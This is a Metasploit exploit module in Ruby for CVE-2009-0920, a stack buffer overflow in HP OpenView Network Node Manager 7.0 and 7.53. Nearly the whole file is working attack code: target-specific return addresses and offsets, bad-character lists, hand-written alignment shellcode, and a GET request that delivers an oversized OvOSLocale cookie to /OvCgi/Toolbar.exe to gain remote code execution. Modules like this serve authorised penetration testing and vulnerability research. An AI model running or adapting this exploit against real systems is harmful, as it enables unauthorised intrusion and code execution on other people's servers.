##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'HP OpenView Network Node Manager Toolbar.exe CGI Cookie Handling Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.0
        and 7.53.  By sending a CGI request with a specially OvOSLocale cookie to Toolbar.exe, an
        attacker may be able to execute arbitrary code.  Please note that this module only works
        against a specific build (i.e. NNM 7.53_01195)
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Oren Isacson', # original discovery
          'juan vazquez', # metasploit module (7.0 target)
          'sinn3r',       # 7.53_01195 target
        ],
      'References'     =>
        [
          [ 'CVE', '2009-0920' ],
          [ 'OSVDB', '53242' ],
          [ 'BID', '34294' ],
          [ 'URL', 'http://www.coresecurity.com/content/openview-buffer-overflows']
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'          => 4000,
          'BadChars'       => "\x01\x02\x03\x04\x05\x06\x07\x08\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x7f\x3b\x2b",
          'DisableNops'    => true, # no need
          'EncoderType'    => Msf::Encoder::Type::AlphanumMixed,
          'EncoderOptions' =>
          {
            'BufferRegister' => 'EDX'
          }
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [
            #Windows XP SP3
            'HP OpenView Network Node Manager Release B.07.00',
            {
              'Ret' => 0x5A212147, # ovsnmp.dll call esp
              'Offset' => 0xFC,  # until EIP
              # Pointer to string with length < 0x100
              # Avoid crash before vulnerable function returns
              # And should work as a "NOP" since it will prepend shellcode
              #'ReadAddress' => 0x5A03A225,# ov.dll
              'ReadAddress' => 0x5A03A225,# ov.dll
              'EDXAdjust' => 0x17,
              # 0x8 => offset until "0x90" nops
              # 0x4 => "0x90" nops
              # 0x2 => len(push esp, pop edx)
              # 0x3 => len(sub)
              # 0x6 => len(add)
            }
          ],
          [
            #Windows Server 2003
            'HP OpenView Network Node Manager 7.53 Patch 01195',
            {
              'Eax'       => 0x5a456eac,   #Readable address for CMP BYTE PTR DS:[EAX],0
              'EaxOffset' => 251,          #Offset to overwrite EAX
              'Ret'       => 0x5A23377C,   #CALL EDI
              'Max'       => 8000,         #Max buffer size
            }
          ]
        ],
      'DisclosureDate' => 'Jan 21 2009'))
  end

  def exploit

    if target.name =~ /7\.53/

      #EDX alignment for alphanumeric shellcode
      #payload is in EDI first.  We exchange it with EDX, align EDX, and then
      #jump to it.
      align  = "\x87\xfa"      #xchg edi,edx
      align << "\x80\xc2\x27"  #add dl,0x27
      align << "\xff\xe2"      #jmp edx

      #Add the alignment code to payload
      p = align + payload.encoded

      sploit  = 'en_US'
      sploit << rand_text_alphanumeric(247)
      sploit << [target.ret].pack('V*')
      sploit << rand_text_alphanumeric(target['EaxOffset']-sploit.length+'en_US'.length)
      sploit << [target['Eax']].pack('V*')
      sploit << rand_text_alphanumeric(3200)
      sploit << make_nops(100 - align.length)
      sploit << align
      sploit << p
      sploit << rand_text_alphanumeric(target['Max']-sploit.length)

    elsif target.name =~ /B\.07\.00/

      edx = Rex::Arch::X86::EDX

      sploit = "en_US"
      sploit << rand_text_alphanumeric(target['Offset'] - "en_US".length, payload_badchars)
      sploit << [target.ret].pack('V')
      sploit << [target['ReadAddress']].pack('V')
      sploit << "\x90\x90\x90\x90"
      # Get in EDX a pointer to the shellcode start
      sploit << "\x54" # push esp
      sploit << "\x5A" # pop edx
      sploit << Rex::Arch::X86.sub(-(target['EDXAdjust']), edx, payload_badchars, false, true)
      sploit << "\x81\xc4\x48\xf4\xff\xff" # add esp, -3000
      sploit << payload.encoded

    end

    #Send the malicious request to /OvCgi/ToolBar.exe
    #If the buffer contains a badchar, NNM 7.53 will return a "400 Bad Request".
    #If the exploit causes ToolBar.exe to crash, NNM returns "error in CGI Application"
    send_request_raw({
      'uri'     => "/OvCgi/Toolbar.exe",
      'method'  => "GET",
      'cookie'  => "OvOSLocale=" + sploit + "; OvAcceptLang=en-usa",
    }, 20)

    handler
    disconnect
  end
end


=begin
NNM B.07.00's badchar set:
00 0D 0A 20 3B 3D 2C 2B

NNM 7.53_01195's badchar set:
01 02 03 04 05 06 07 08 0a 0b 0c 0d 0e 0f 10 11    ................
12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 7f       ...............
3b = delimiter
2b = gets converted to 0x2b
=end
